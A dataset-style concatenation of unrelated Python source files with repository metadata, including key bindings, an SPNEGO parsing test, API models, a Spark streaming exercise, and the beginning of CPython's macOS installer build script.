Keys.ControlX, filter=has_selection) def _cut(event): """Cut selected text.""" data = event.current_buffer.cut_selection() event.app.clipboard.set_data(data) @handle(Keys.ControlX, Keys.ControlC, filter=has_selection) def _copy(event): """Copy selected text.""" data = event.current_buffer.copy_selection() event.app.clipboard.set_data(data) @handle(Keys.ControlV, filter=insert_mode | has_selection) def _yank(event): """Paste selected text.""" buff = event.current_buffer if buff.selection_state: buff.cut_selection() get_by_name("yank").call(event) def create_alias(new_keys, original_keys): bindings = ptk_bindings.get_bindings_for_keys(tuple(original_keys)) for original_binding in bindings: handle(*new_keys, filter=original_binding.filter)(original_binding.handler) # Complete a single auto-suggestion word create_alias([Keys.ControlRight], ["escape", "f"]) return key_bindings

33.951613

114

0.676485

8e0aa91e35340eb48cf5367b084df1e158d82b10

28

py

Python

py_blender_room/framework/sceneobject.py

hq9000/py_blender_room

62b2722e42eb0411930472dea4c2fac616768e2d

[ "MIT" ]

3

2020-11-22T17:46:27.000Z

2022-01-07T11:28:29.000Z

py_blender_room/framework/sceneobject.py

hq9000/py_blender_room

62b2722e42eb0411930472dea4c2fac616768e2d

[ "MIT" ]

1

2020-08-31T02:46:06.000Z

2020-08-31T07:58:06.000Z

py_blender_room/framework/sceneobject.py

hq9000/py_blender_room

62b2722e42eb0411930472dea4c2fac616768e2d

[ "MIT" ]

null

class SceneObject: pass

9.333333

18

0.714286

8b4edc007c018be1ea18f54a64ddb89ddf84a3b4

1,661

py

Python

tests/test_spnego.py

martinhoefling/smbprotocol

8a4f08244a53a7a818cccc81866cfa62439c0125

[ "MIT" ]

null

tests/test_spnego.py

martinhoefling/smbprotocol

8a4f08244a53a7a818cccc81866cfa62439c0125

[ "MIT" ]

null

tests/test_spnego.py

martinhoefling/smbprotocol

8a4f08244a53a7a818cccc81866cfa62439c0125

[ "MIT" ]

null

from pyasn1.codec.der.decoder import decode from pyasn1.type.univ import ObjectIdentifier from smbprotocol.spnego import InitialContextToken, NegotiateToken, MechTypes class TestSpnego(object): def test_parse_initial_context_token(self): data = b"\x60\x76\x06\x06\x2b\x06\x01\x05" \ b"\x05\x02\xa0\x6c\x30\x6a\xa0\x3c" \ b"\x30\x3a\x06\x0a\x2b\x06\x01\x04" \ b"\x01\x82\x37\x02\x02\x1e\x06\x09" \ b"\x2a\x86\x48\x82\xf7\x12\x01\x02" \ b"\x02\x06\x09\x2a\x86\x48\x86\xf7" \ b"\x12\x01\x02\x02\x06\x0a\x2a\x86" \ b"\x48\x86\xf7\x12\x01\x02\x02\x03" \ b"\x06\x0a\x2b\x06\x01\x04\x01\x82" \ b"\x37\x02\x02\x0a\xa3\x2a\x30\x28" \ b"\xa0\x26\x1b\x24\x6e\x6f\x74\x5f" \ b"\x64\x65\x66\x69\x6e\x65\x64\x5f" \ b"\x69\x6e\x5f\x52\x46\x43\x34\x31" \ b"\x37\x38\x40\x70\x6c\x65\x61\x73" \ b"\x65\x5f\x69\x67\x6e\x6f\x72\x65" actual, rdata = decode(data, asn1Spec=InitialContextToken()) assert rdata == b"" assert actual['thisMech'] == ObjectIdentifier('1.3.6.1.5.5.2') assert isinstance(actual['innerContextToken'], NegotiateToken) actual_token = actual['innerContextToken']['negTokenInit'] assert actual_token['mechTypes'] == [ MechTypes.NEGOEX, MechTypes.MS_KRB5, MechTypes.KRB5, MechTypes.KRB5_U2U, MechTypes.NTLMSSP ] assert actual_token['negHints']['hintName'] == \ "not_defined_in_RFC4178@please_ignore"

41.525

77

0.578567

4dff9b293bf5a1dcd67e1200ba30c20d6c5091a7

554

py

Python

setup.py

logmatic/logmatic-python

15d39c8c05f903054aaed9a5213f47756c0870ec

[ "MIT" ]

38

2016-02-12T17:02:16.000Z

2019-03-28T19:56:27.000Z

setup.py

logmatic/logmatic-python

15d39c8c05f903054aaed9a5213f47756c0870ec

[ "MIT" ]

7

2016-03-03T17:03:09.000Z

2018-01-04T12:29:05.000Z

setup.py

logmatic/logmatic-python

15d39c8c05f903054aaed9a5213f47756c0870ec

[ "MIT" ]

10

2016-02-23T09:34:12.000Z

2018-11-23T00:30:07.000Z

from distutils.core import setup setup( name='logmatic-python', version='0.1.7', author='Logmatic.io support team', author_email='support@logmatic.io', packages = ['logmatic'], scripts=[], url='https://github.com/logmatic/logmatic-python', download_url = 'https://github.com/logmatic/logmatic-python/tarball/0.1.6', license='MIT', long_description=open('README.rst').read(), description='Python plugin to send logs to Logmatic.io', install_requires = ['python-json-logger'], keywords = ['logmatic'] )

30.777778

79

0.673285

b5b9061cac9e8b8a6405a456f35de4d5cc224353

5,251

py

Python

clumioapi/models/audit_parent_entity.py

clumio-code/clumio-python-sdk

63bfaf3afed5c0ab4bae3dd1be52271249d07c51

[ "Apache-2.0" ]

null

clumioapi/models/audit_parent_entity.py

clumio-code/clumio-python-sdk

63bfaf3afed5c0ab4bae3dd1be52271249d07c51

[ "Apache-2.0" ]

1

2021-09-16T05:56:05.000Z

clumioapi/models/audit_parent_entity.py

clumio-code/clumio-python-sdk

63bfaf3afed5c0ab4bae3dd1be52271249d07c51

[ "Apache-2.0" ]

null

# # Copyright 2021. Clumio, Inc. # from typing import Any, Dict, Mapping, Optional, Sequence, Type, TypeVar T = TypeVar('T', bound='AuditParentEntity') class AuditParentEntity: """Implementation of the 'AuditParentEntity' model. The parent object of the primary entity associated with or affected by the audit.If the primary entity is not a vmware entity, this field will have a value of nullFor example, "vmware_vcenter" is the parent entity of primary entity "vmware_vm". Attributes: id: A system-generated ID assigned to this entity. type: The following table describes the entity types that Clumio supports. +--------------------------------+---------------------------------------------+ | Entity Type | Details | +================================+=============================================+ | vmware_vcenter | VMware vCenter. | +--------------------------------+---------------------------------------------+ | vmware_vm | VMware virtual machine. | +--------------------------------+---------------------------------------------+ | vmware_vm_folder | VMware VM folder. | +--------------------------------+---------------------------------------------+ | vmware_datacenter | VMware data center. | +--------------------------------+---------------------------------------------+ | vmware_datacenter_folder | VMware data center folder. | +--------------------------------+---------------------------------------------+ | vmware_tag | VMware tag. | +--------------------------------+---------------------------------------------+ | vmware_category | VMware tag category. | +--------------------------------+---------------------------------------------+ | vmware_compute_resource | VMware compute resource. | +--------------------------------+---------------------------------------------+ | vmware_compute_resource_folder | VMware compute resource folder. | +--------------------------------+---------------------------------------------+ | aws_ebs_volume | AWS EBS volume. | +--------------------------------+---------------------------------------------+ | aws_connection | AWS connection mediated by a CloudFormation | | | stack. | +--------------------------------+---------------------------------------------+ | aws_environment | AWS environment specified by an | | | account/region pair. | +--------------------------------+---------------------------------------------+ | aws_tag | AWS tag. | +--------------------------------+---------------------------------------------+ | aws_cmk | AWS Customer Master Key used to encrypt | | | data. | +--------------------------------+---------------------------------------------+ value: A system-generated value assigned to the entity. For example, if the primary entity type is "vmware_vm" for a virtual machine, then the value is the name of the VM. """ # Create a mapping from Model property names to API property names _names = {'id': 'id', 'type': 'type', 'value': 'value'} def __init__(self, id: str = None, type: str = None, value: str = None) -> None: """Constructor for the AuditParentEntity class.""" # Initialize members of the class self.id: str = id self.type: str = type self.value: str = value @classmethod def from_dictionary(cls: Type, dictionary: Mapping[str, Any]) -> Optional[T]: """Creates an instance of this model from a dictionary Args: dictionary: A dictionary representation of the object as obtained from the deserialization of the server's response. The keys MUST match property names in the API description. Returns: object: An instance of this structure class. """ if not dictionary: return None # Extract variables from the dictionary id = dictionary.get('id') type = dictionary.get('type') value = dictionary.get('value') # Return an object of this model return cls(id, type, value)

54.697917

92

0.354028

a115476a9cc5b9a34dc970ac9322ab78255c1495

377

py

Python

manafa/parsing/batteryStats/__init__.py

greensoftwarelab/E-MANAFA

d0ccc01a821af5b02fdcb588a4d14ff56a26cd5d

[ "MIT" ]

null

manafa/parsing/batteryStats/__init__.py

greensoftwarelab/E-MANAFA

d0ccc01a821af5b02fdcb588a4d14ff56a26cd5d

[ "MIT" ]

null

manafa/parsing/batteryStats/__init__.py

greensoftwarelab/E-MANAFA

d0ccc01a821af5b02fdcb588a4d14ff56a26cd5d

[ "MIT" ]

null

""" This module contains Classes to parse and manipulate information coming from the BatteryStats Android Service. BatteryStatsConstants contains constants associated with batterystats events and respective meaning. BatteryStatsParser.py contains BatteryStatsParser and utils to parse dumpsys batterystats output and obtain/filter events occured during given time ranges. """

53.857143

122

0.848806

1411de61c0e7846ff337cb133583c0a9df4ceec3

281

py

Python

apps/core/managers.py

ozknightwalker/Djongo-tutorial

6d1d86c133924a09da2832d6125966cedeff6365

[ "MIT" ]

null

apps/core/managers.py

ozknightwalker/Djongo-tutorial

6d1d86c133924a09da2832d6125966cedeff6365

[ "MIT" ]

null

apps/core/managers.py

ozknightwalker/Djongo-tutorial

6d1d86c133924a09da2832d6125966cedeff6365

[ "MIT" ]

null

from django.db import models from .query import UndeletedQuerySet class UndeletedManager(models.Manager): def get_queryset(self): return UndeletedQuerySet( model=self.model, using=self._db, hints=self._hints).filter(deleted_at__isnull=True)

23.416667

62

0.715302

71795db1e29dc4a3c9d5344a142b36b029a06a8d

1,438

py

Python

adminmgr/media/code/A3/task1/BD_0012_0792_0948_1324_5SDKuyT.py

IamMayankThakur/test-bigdata

cef633eb394419b955bdce479699d0115d8f99c3

[ "Apache-2.0" ]

9

2019-11-08T02:05:27.000Z

2021-12-13T12:06:35.000Z

adminmgr/media/code/A3/task1/BD_0012_0792_0948_1324_5SDKuyT.py

IamMayankThakur/test-bigdata

cef633eb394419b955bdce479699d0115d8f99c3

[ "Apache-2.0" ]

6

2019-11-27T03:23:16.000Z

2021-06-10T19:15:13.000Z

adminmgr/media/code/A3/task1/BD_0012_0792_0948_1324_5SDKuyT.py

IamMayankThakur/test-bigdata

cef633eb394419b955bdce479699d0115d8f99c3

[ "Apache-2.0" ]

4

2019-11-26T17:04:27.000Z

2021-12-13T11:57:03.000Z

from __future__ import print_function import sys from pyspark.sql import SparkSession from pyspark.sql.functions import * from pyspark.sql.types import * spark_session_obj = SparkSession.builder\ .appName('StructuredSpark')\ .getOrCreate() userSchema = StructType([ StructField('ID', IntegerType(), True), StructField('Lang', StringType(), True), StructField('Date', StringType(), True), StructField('Source', StringType(), True), StructField('Len', IntegerType(), True), StructField('Likes', IntegerType(), True), StructField('RTs', IntegerType(), True), StructField('Hashtags', StringType(), True), StructField('UserMentionNames', StringType(), True), StructField('UserMentionID', StringType(), True), StructField('Name', StringType(), True), StructField('Place', StringType(), True), StructField('Followers', IntegerType(), True), StructField('Friends', IntegerType(), True) ]) wordlin_dataframe = spark_session_obj.readStream\ .option('sep', ';')\ .option('header', 'false')\ .schema(userSchema)\ .csv("hdfs://localhost:9000/stream") wordlin_dataframe.createOrReplaceTempView("tables") common_hashtag_dataframe = spark_session_obj.sql("select Hashtags, count(Hashtags) as count from tables group by Hashtags order by count desc limit 5") query_obj = common_hashtag_dataframe.writeStream\ .outputMode('complete').format('console') query_run = query_obj.start() query_run.awaitTermination(100) query_run.stop()

32.681818

151

0.75452

f48bc7142d0b61afd9e9667af7ef52344b2d91ba

275

py

Python

Python/Sets/Set .difference() Operation.py

guptamadhur/HackerRank

e0f1ba82296eea88d2b34132d3b1a28cd67ffa03

[ "MIT" ]

null

Python/Sets/Set .difference() Operation.py

guptamadhur/HackerRank

e0f1ba82296eea88d2b34132d3b1a28cd67ffa03

[ "MIT" ]

null

Python/Sets/Set .difference() Operation.py

guptamadhur/HackerRank

e0f1ba82296eea88d2b34132d3b1a28cd67ffa03

[ "MIT" ]

null

# Author: Madhur Gupta # Github: github.com/guptamadhur # Project: Hacker Rank Practice Python if __name__ == '__main__': n = int(input()) A = set(map(int,input().split())) n = int(input()) B = set(map(int, input().split())) print(len(A.difference(B)))

22.916667

38

0.618182

d5308f4cc7137d2226e4a963a923b3db362368c5

3,350

py

Python

Database/client_methods.py

RomaOkorosso/fes-test-task

cfd8212dfbc9b2b0669ce6e1ea0a59b3f96809dc

[ "MIT" ]

null

Database/client_methods.py

RomaOkorosso/fes-test-task

cfd8212dfbc9b2b0669ce6e1ea0a59b3f96809dc

[ "MIT" ]

null

Database/client_methods.py

RomaOkorosso/fes-test-task

cfd8212dfbc9b2b0669ce6e1ea0a59b3f96809dc

[ "MIT" ]

null

# created by RomaOkorosso at 21.03.2021 # client_methods.py from datetime import datetime, timedelta, date from typing import Optional, List from Models.models import Client, TakenBook, Book from Models import schemas from sqlalchemy.orm import Session from Database.exceptions import * from pydantic import ValidationError class ClientMethods: @staticmethod def add_client(db: Session, client: schemas.AddClient): client = Client(**client.dict()) db.add(client) db.commit() return client @staticmethod def get_client(db: Session, client_id: int): client: Client = db.query(Client).filter(Client.id == client_id).first() if client is None: raise ItemNotFound(f"Have no client with id: {client_id} in database") return client @staticmethod def update_client(db: Session, new_client: schemas.Client): client = db.query(Client).filter(Client.id == new_client.id).first() if client is None: raise ItemNotFound(f"Have no client with id: {new_client.id} in database") for key, value in new_client.__dict__.iteritems(): setattr(client, key, value) db.commit() @staticmethod def take_book(db: Session, book_id: int, client_id: int): book: Book = db.query(Book).filter(Book.id == book_id).first() try: client = ClientMethods.get_client(db, client_id) except ItemNotFound as err: print(err) else: if client.taken_books_now_id is None: client.taken_books_now_id = [book_id] if client.all_taken_books_id is None: client.all_taken_books_id = [book_id] client.taken_books_now_id = client.taken_books_now_id.append(book_id) client.all_taken_books_id = client.all_taken_books_id.append(book_id) if book is None: raise ItemNotFound(f"Have no such book with id: {book_id}") if book.count == 0: raise NotEnoughBook(f"Have no enough books with id: {book_id}") taken_book = TakenBook( book_id=book_id, client_id=client_id, taken_date=datetime.today().date() ) book.count -= 1 db.add(taken_book) db.commit() db.flush() db.refresh(book) return book @staticmethod def return_book(db: Session, taken_book_id: int): from Database.book_methods import BookMethods try: book: Book client: Client BookMethods.return_book(db, taken_book_id) taken_book = BookMethods.get_taken_book_by_id(db, taken_book_id) book_id = taken_book.id client_id = taken_book.client_id book = BookMethods.get_book(db, book_id) client = ClientMethods.get_client(db, client_id) except ItemNotFound as err: print(err) else: print(type(client.taken_books_now_id)) books: List[int] = client.taken_books_now_id.copy() books.remove(book_id) client.taken_books_now_id = books book.count = book.count + 1 book.taken_count = book.taken_count + 1 ClientMethods.update_client(db, client) db.commit() return book

33.5

86

0.625075

746bcce002d007d7be186ffdbf8be9207ef9e47e

3,784

py

Python

mopidy_spotify/distinct.py

jimbofreedman/mopidy-spotify

6b3f41368cc22653d13c1ac1696e66bd5744a95a

[ "Apache-2.0" ]

7

2018-06-24T12:57:19.000Z

2020-04-28T14:35:26.000Z

mopidy_spotify/distinct.py

jimbofreedman/mopidy-spotify

6b3f41368cc22653d13c1ac1696e66bd5744a95a

[ "Apache-2.0" ]

null

mopidy_spotify/distinct.py

jimbofreedman/mopidy-spotify

6b3f41368cc22653d13c1ac1696e66bd5744a95a

[ "Apache-2.0" ]

3

2018-05-29T00:05:37.000Z

2019-02-28T09:47:43.000Z

from __future__ import unicode_literals import logging import spotify from mopidy_spotify import search logger = logging.getLogger(__name__) def get_distinct(config, session, web_client, field, query=None): # To make the returned data as interesting as possible, we limit # ourselves to data extracted from the user's playlists when no search # query is included. if field == 'artist': result = _get_distinct_artists( config, session, web_client, query) elif field == 'albumartist': result = _get_distinct_albumartists( config, session, web_client, query) elif field == 'album': result = _get_distinct_albums( config, session, web_client, query) elif field == 'date': result = _get_distinct_dates( config, session, web_client, query) else: result = set() return result - {None} def _get_distinct_artists(config, session, web_client, query): logger.debug('Getting distinct artists: %s', query) if query: search_result = _get_search( config, session, web_client, query, artist=True) return {artist.name for artist in search_result.artists} else: return { artist.name for track in _get_playlist_tracks(config, session) for artist in track.artists} def _get_distinct_albumartists(config, session, web_client, query): logger.debug( 'Getting distinct albumartists: %s', query) if query: search_result = _get_search( config, session, web_client, query, album=True) return { artist.name for album in search_result.albums for artist in album.artists if album.artists} else: return { track.album.artist.name for track in _get_playlist_tracks(config, session) if track.album and track.album.artist} def _get_distinct_albums(config, session, web_client, query): logger.debug('Getting distinct albums: %s', query) if query: search_result = _get_search( config, session, web_client, query, album=True) return {album.name for album in search_result.albums} else: return { track.album.name for track in _get_playlist_tracks(config, session) if track.album} def _get_distinct_dates(config, session, web_client, query): logger.debug('Getting distinct album years: %s', query) if query: search_result = _get_search( config, session, web_client, query, album=True) return { album.date for album in search_result.albums if album.date not in (None, '0')} else: return { '%s' % track.album.year for track in _get_playlist_tracks(config, session) if track.album and track.album.year not in (None, 0)} def _get_search( config, session, web_client, query, album=False, artist=False, track=False): types = [] if album: types.append('album') if artist: types.append('artist') if track: types.append('track') return search.search( config, session, web_client, query, types=types) def _get_playlist_tracks(config, session): if not config['allow_playlists']: return for playlist in session.playlist_container: if not isinstance(playlist, spotify.Playlist): continue playlist.load(config['timeout']) for track in playlist.tracks: try: track.load(config['timeout']) yield track except spotify.Error: # TODO Why did we get "General error"? continue

30.031746

74

0.624207

4bb942a733b86fa63b62487fe39e6b6376b8011b

61,737

py

Python

Mac/BuildScript/build-installer.py

myarchsource/python2

967e509ff8ad450919d5cf708b8e35387b63db03

[ "CNRI-Python-GPL-Compatible" ]

473

2017-02-03T04:03:02.000Z

2022-02-12T17:44:25.000Z

Mac/BuildScript/build-installer.py

myarchsource/python2

967e509ff8ad450919d5cf708b8e35387b63db03

[ "CNRI-Python-GPL-Compatible" ]

70

2017-02-02T21:20:07.000Z

2022-02-04T15:32:45.000Z

Mac/BuildScript/build-installer.py

myarchsource/python2

967e509ff8ad450919d5cf708b8e35387b63db03

[ "CNRI-Python-GPL-Compatible" ]

37

2017-02-11T21:02:34.000Z

2020-11-16T10:51:45.000Z

#!/usr/bin/env python """ This script is used to build "official" universal installers on macOS. NEW for 3.6.8 / 2.7.16: - also build and use Tk 8.6 for 10.6+ installers NEW for 3.6.5: - support Intel 64-bit-only () and 32-bit-only installer builds - build and link with private Tcl/Tk 8.6 for 10.9+ builds - deprecate use of explicit SDK (--sdk-path=) since all but the oldest versions of Xcode support implicit setting of an SDK via environment variables (SDKROOT and friends, see the xcrun man page for more info). The SDK stuff was primarily needed for building universal installers for 10.4; so as of 3.6.5, building installers for 10.4 is no longer supported with build-installer. - use generic "gcc" as compiler (CC env var) rather than "gcc-4.2" Please ensure that this script keeps working with Python 2.5, to avoid bootstrap issues (/usr/bin/python is Python 2.5 on OSX 10.5). Doc builds use current versions of Sphinx and require a reasonably current python3. Sphinx and dependencies are installed into a venv using the python3's pip so will fetch them from PyPI if necessary. Since python3 is now used for Sphinx, build-installer.py should also be converted to use python3! For 10.6 or greater deployment targets, build-installer builds and links with its own copy of Tcl/Tk 8.6 and the rest of this paragraph does not apply. Otherwise, build-installer requires an installed third-party version of Tcl/Tk 8.4 (for OS X 10.4 and 10.5 deployment targets) installed in /Library/Frameworks. For 10.4 or 10.5, the Python built by this script when installed will attempt to dynamically link first to Tcl and Tk frameworks in /Library/Frameworks if available otherwise fall back to the ones in /System/Library/Framework. For 10.4 or 10.5, we recommend installing the most recent ActiveTcl 8.5 or 8.4 version, depending on the deployment target. The actual version linked to depends on the path of /Library/Frameworks/{Tcl,Tk}.framework/Versions/Current. Usage: see USAGE variable in the script. """ import platform, os, sys, getopt, textwrap, shutil, stat, time, pwd, grp try: import urllib2 as urllib_request except ImportError: import urllib.request as urllib_request STAT_0o755 = ( stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH ) STAT_0o775 = ( stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR | stat.S_IRGRP | stat.S_IWGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH ) INCLUDE_TIMESTAMP = 1 VERBOSE = 1 from plistlib import Plist try: from plistlib import writePlist except ImportError: # We're run using python2.3 def writePlist(plist, path): plist.write(path) def shellQuote(value): """ Return the string value in a form that can safely be inserted into a shell command. """ return "'%s'"%(value.replace("'", "'\"'\"'")) def grepValue(fn, variable): """ Return the unquoted value of a variable from a file.. QUOTED_VALUE='quotes' -> str('quotes') UNQUOTED_VALUE=noquotes -> str('noquotes') """ variable = variable + '=' for ln in open(fn, 'r'): if ln.startswith(variable): value = ln[len(variable):].strip() return value.strip("\"'") raise RuntimeError("Cannot find variable %s" % variable[:-1]) _cache_getVersion = None def getVersion(): global _cache_getVersion if _cache_getVersion is None: _cache_getVersion = grepValue( os.path.join(SRCDIR, 'configure'), 'PACKAGE_VERSION') return _cache_getVersion def getVersionMajorMinor(): return tuple([int(n) for n in getVersion().split('.', 2)]) _cache_getFullVersion = None def getFullVersion(): global _cache_getFullVersion if _cache_getFullVersion is not None: return _cache_getFullVersion fn = os.path.join(SRCDIR, 'Include', 'patchlevel.h') for ln in open(fn): if 'PY_VERSION' in ln: _cache_getFullVersion = ln.split()[-1][1:-1] return _cache_getFullVersion raise RuntimeError("Cannot find full version??") FW_PREFIX = ["Library", "Frameworks", "Python.framework"] FW_VERSION_PREFIX = "--undefined--" # initialized in parseOptions FW_SSL_DIRECTORY = "--undefined--" # initialized in parseOptions # The directory we'll use to create the build (will be erased and recreated) WORKDIR = "/tmp/_py" # The directory we'll use to store third-party sources. Set this to something # else if you don't want to re-fetch required libraries every time. DEPSRC = os.path.join(WORKDIR, 'third-party') DEPSRC = os.path.expanduser('~/Universal/other-sources') universal_opts_map = { '32-bit': ('i386', 'ppc',), '64-bit': ('x86_64', 'ppc64',), 'intel': ('i386', 'x86_64'), 'intel-32': ('i386',), 'intel-64': ('x86_64',), '3-way': ('ppc', 'i386', 'x86_64'), 'all': ('i386', 'ppc', 'x86_64', 'ppc64',) } default_target_map = { '64-bit': '10.5', '3-way': '10.5', 'intel': '10.5', 'intel-32': '10.4', 'intel-64': '10.5', 'all': '10.5', } UNIVERSALOPTS = tuple(universal_opts_map.keys()) UNIVERSALARCHS = '32-bit' ARCHLIST = universal_opts_map[UNIVERSALARCHS] # Source directory (assume we're in Mac/BuildScript) SRCDIR = os.path.dirname( os.path.dirname( os.path.dirname( os.path.abspath(__file__ )))) # $MACOSX_DEPLOYMENT_TARGET -> minimum OS X level DEPTARGET = '10.5' def getDeptargetTuple(): return tuple([int(n) for n in DEPTARGET.split('.')[0:2]]) def getTargetCompilers(): target_cc_map = { '10.4': ('gcc-4.0', 'g++-4.0'), '10.5': ('gcc', 'g++'), '10.6': ('gcc', 'g++'), } return target_cc_map.get(DEPTARGET, ('gcc', 'g++') ) CC, CXX = getTargetCompilers() PYTHON_2 = getVersionMajorMinor()[0] == 2 PYTHON_3 = getVersionMajorMinor()[0] == 3 USAGE = textwrap.dedent("""\ Usage: build_python [options] Options: -? or -h: Show this message -b DIR --build-dir=DIR: Create build here (default: %(WORKDIR)r) --third-party=DIR: Store third-party sources here (default: %(DEPSRC)r) --sdk-path=DIR: Location of the SDK (deprecated, use SDKROOT env variable) --src-dir=DIR: Location of the Python sources (default: %(SRCDIR)r) --dep-target=10.n macOS deployment target (default: %(DEPTARGET)r) --universal-archs=x universal architectures (options: %(UNIVERSALOPTS)r, default: %(UNIVERSALARCHS)r) """)% globals() # Dict of object file names with shared library names to check after building. # This is to ensure that we ended up dynamically linking with the shared # library paths and versions we expected. For example: # EXPECTED_SHARED_LIBS['_tkinter.so'] = [ # '/Library/Frameworks/Tcl.framework/Versions/8.5/Tcl', # '/Library/Frameworks/Tk.framework/Versions/8.5/Tk'] EXPECTED_SHARED_LIBS = {} # Are we building and linking with our own copy of Tcl/TK? # For now, do so if deployment target is 10.6+. def internalTk(): return getDeptargetTuple() >= (10, 6) # List of names of third party software built with this installer. # The names will be inserted into the rtf version of the License. THIRD_PARTY_LIBS = [] # Instructions for building libraries that are necessary for building a # batteries included python. # [The recipes are defined here for convenience but instantiated later after # command line options have been processed.] def library_recipes(): result = [] LT_10_5 = bool(getDeptargetTuple() < (10, 5)) # Since Apple removed the header files for the deprecated system # OpenSSL as of the Xcode 7 release (for OS X 10.10+), we do not # have much choice but to build our own copy here, too. result.extend([ dict( name="OpenSSL 1.0.2u", url="https://www.openssl.org/source/old/1.0.2/openssl-1.0.2u.tar.gz", checksum='cdc2638f789ecc2db2c91488265686c1', buildrecipe=build_universal_openssl, configure=None, install=None, ), ]) if internalTk(): result.extend([ dict( name="Tcl 8.6.8", url="ftp://ftp.tcl.tk/pub/tcl//tcl8_6/tcl8.6.8-src.tar.gz", checksum='81656d3367af032e0ae6157eff134f89', buildDir="unix", configure_pre=[ '--enable-shared', '--enable-threads', '--libdir=/Library/Frameworks/Python.framework/Versions/%s/lib'%(getVersion(),), ], useLDFlags=False, install='make TCL_LIBRARY=%(TCL_LIBRARY)s && make install TCL_LIBRARY=%(TCL_LIBRARY)s DESTDIR=%(DESTDIR)s'%{ "DESTDIR": shellQuote(os.path.join(WORKDIR, 'libraries')), "TCL_LIBRARY": shellQuote('/Library/Frameworks/Python.framework/Versions/%s/lib/tcl8.6'%(getVersion())), }, ), dict( name="Tk 8.6.8", url="ftp://ftp.tcl.tk/pub/tcl//tcl8_6/tk8.6.8-src.tar.gz", checksum='5e0faecba458ee1386078fb228d008ba', patches=[ "tk868_on_10_8_10_9.patch", ], buildDir="unix", configure_pre=[ '--enable-aqua', '--enable-shared', '--enable-threads', '--libdir=/Library/Frameworks/Python.framework/Versions/%s/lib'%(getVersion(),), ], useLDFlags=False, install='make TCL_LIBRARY=%(TCL_LIBRARY)s TK_LIBRARY=%(TK_LIBRARY)s && make install TCL_LIBRARY=%(TCL_LIBRARY)s TK_LIBRARY=%(TK_LIBRARY)s DESTDIR=%(DESTDIR)s'%{ "DESTDIR": shellQuote(os.path.join(WORKDIR, 'libraries')), "TCL_LIBRARY": shellQuote('/Library/Frameworks/Python.framework/Versions/%s/lib/tcl8.6'%(getVersion())), "TK_LIBRARY": shellQuote('/Library/Frameworks/Python.framework/Versions/%s/lib/tk8.6'%(getVersion())), }, ), ]) if PYTHON_3: result.extend([ dict( name="XZ 5.2.3", url="http://tukaani.org/xz/xz-5.2.3.tar.gz", checksum='ef68674fb47a8b8e741b34e429d86e9d', configure_pre=[ '--disable-dependency-tracking', ] ), ]) result.extend([ dict( name="NCurses 5.9", url="http://ftp.gnu.org/pub/gnu/ncurses/ncurses-5.9.tar.gz", checksum='8cb9c412e5f2d96bc6f459aa8c6282a1', configure_pre=[ "--enable-widec", "--without-cxx", "--without-cxx-binding", "--without-ada", "--without-curses-h", "--enable-shared", "--with-shared", "--without-debug", "--without-normal", "--without-tests", "--without-manpages", "--datadir=/usr/share", "--sysconfdir=/etc", "--sharedstatedir=/usr/com", "--with-terminfo-dirs=/usr/share/terminfo", "--with-default-terminfo-dir=/usr/share/terminfo", "--libdir=/Library/Frameworks/Python.framework/Versions/%s/lib"%(getVersion(),), ], patchscripts=[ ("ftp://invisible-island.net/ncurses//5.9/ncurses-5.9-20120616-patch.sh.bz2", "f54bf02a349f96a7c4f0d00922f3a0d4"), ], useLDFlags=False, install='make && make install DESTDIR=%s && cd %s/usr/local/lib && ln -fs ../../../Library/Frameworks/Python.framework/Versions/%s/lib/lib* .'%( shellQuote(os.path.join(WORKDIR, 'libraries')), shellQuote(os.path.join(WORKDIR, 'libraries')), getVersion(), ), ), dict( name="SQLite 3.31.1", url="https://sqlite.org/2020/sqlite-autoconf-3310100.tar.gz", checksum='2d0a553534c521504e3ac3ad3b90f125', extra_cflags=('-Os ' '-DSQLITE_ENABLE_FTS5 ' '-DSQLITE_ENABLE_FTS4 ' '-DSQLITE_ENABLE_FTS3_PARENTHESIS ' '-DSQLITE_ENABLE_JSON1 ' '-DSQLITE_ENABLE_RTREE ' '-DSQLITE_TCL=0 ' '%s' % ('','-DSQLITE_WITHOUT_ZONEMALLOC ')[LT_10_5]), configure_pre=[ '--enable-threadsafe', '--enable-shared=no', '--enable-static=yes', '--disable-readline', '--disable-dependency-tracking', ] ), ]) if getDeptargetTuple() < (10, 5): result.extend([ dict( name="Bzip2 1.0.6", url="http://bzip.org/1.0.6/bzip2-1.0.6.tar.gz", checksum='00b516f4704d4a7cb50a1d97e6e8e15b', configure=None, install='make install CC=%s CXX=%s, PREFIX=%s/usr/local/ CFLAGS="-arch %s"'%( CC, CXX, shellQuote(os.path.join(WORKDIR, 'libraries')), ' -arch '.join(ARCHLIST), ), ), dict( name="ZLib 1.2.3", url="http://www.gzip.org/zlib/zlib-1.2.3.tar.gz", checksum='debc62758716a169df9f62e6ab2bc634', configure=None, install='make install CC=%s CXX=%s, prefix=%s/usr/local/ CFLAGS="-arch %s"'%( CC, CXX, shellQuote(os.path.join(WORKDIR, 'libraries')), ' -arch '.join(ARCHLIST), ), ), dict( # Note that GNU readline is GPL'd software name="GNU Readline 6.1.2", url="http://ftp.gnu.org/pub/gnu/readline/readline-6.1.tar.gz" , checksum='fc2f7e714fe792db1ce6ddc4c9fb4ef3', patchlevel='0', patches=[ # The readline maintainers don't do actual micro releases, but # just ship a set of patches. ('http://ftp.gnu.org/pub/gnu/readline/readline-6.1-patches/readline61-001', 'c642f2e84d820884b0bf9fd176bc6c3f'), ('http://ftp.gnu.org/pub/gnu/readline/readline-6.1-patches/readline61-002', '1a76781a1ea734e831588285db7ec9b1'), ] ), ]) if not PYTHON_3: result.extend([ dict( name="Sleepycat DB 4.7.25", url="http://download.oracle.com/berkeley-db/db-4.7.25.tar.gz", checksum='ec2b87e833779681a0c3a814aa71359e', buildDir="build_unix", configure="../dist/configure", configure_pre=[ '--includedir=/usr/local/include/db4', ] ), ]) return result # Instructions for building packages inside the .mpkg. def pkg_recipes(): unselected_for_python3 = ('selected', 'unselected')[PYTHON_3] result = [ dict( name="PythonFramework", long_name="Python Framework", source="/Library/Frameworks/Python.framework", readme="""\ This package installs Python.framework, that is the python interpreter and the standard library. """, postflight="scripts/postflight.framework", selected='selected', ), dict( name="PythonApplications", long_name="GUI Applications", source="/Applications/Python %(VER)s", readme="""\ This package installs IDLE (an interactive Python 